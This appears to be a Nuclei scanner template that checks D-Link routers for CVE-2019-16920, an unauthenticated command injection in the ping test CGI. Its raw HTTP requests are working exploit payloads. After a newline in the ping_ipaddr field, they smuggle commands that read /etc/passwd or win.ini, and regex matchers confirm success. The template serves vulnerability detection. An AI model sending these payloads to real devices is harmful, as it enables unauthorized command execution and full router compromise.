id: cve-2019-16920

info:
  name: Unauthenticated Multiple D-Link Routers RCE
  author: dwisiswant0
  severity: critical
  description: Unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.

  # References:
  # - https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r

requests:
  - raw:
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: en-US,en;q=0.5
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/
        Upgrade-Insecure-Requests: 1

        html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
        Cookie: uid=1234123
        Upgrade-Insecure-Requests: 1

        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
      - |
        POST /apply_sec.cgi HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
        Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
        Content-Type: application/x-www-form-urlencoded
        Connection: close
        Referer: http://{{Hostname}}/login_pic.asp
        Cookie: uid=1234123
        Upgrade-Insecure-Requests: 1

        html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0:"
          - "\\[(font|extension|file)s\\]"
        condition: or
        part: body
      - type: status
        status:
          - 200